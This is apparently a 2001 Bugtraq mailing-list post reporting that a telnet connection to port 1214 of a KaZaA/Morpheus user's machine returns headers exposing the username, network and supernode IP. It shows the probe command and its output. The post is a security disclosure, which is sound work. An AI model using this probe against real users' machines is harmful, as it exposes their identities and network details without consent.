Date: Tue, 28 Aug 2001 15:34:03 -0400
From: Jesse Sunday <jsunday@parview.com>
To: bugtraq@securityfocus.com
Subject: KaZaA / Morpheus Exploit??? (At least a way to get username and such)
Using FreeBSD 4.3 I tried the following...
foobar2:~# ping localhost | telnet morpheus.users.ip.address 1214
Trying morpheus.users.ip.address...
Connected to morpheus.users.ip.address.
Escape character is '^]'.
HTTP/1.0 501 Not Implemented
X-Kazaa-Username: {USER NAME HERE}
X-Kazaa-Network: MusicCity
X-Kazaa-IP: morpheus.users.ip.address:1214
X-Kazaa-SupernodeIP: 130.74.237.54:1214
Connection closed by foreign host.
foobar2:~#
Now I've tried this under W2Ks DOS and it does not produce the
same results... (It just times out)
Is this of any interest???
Jesse
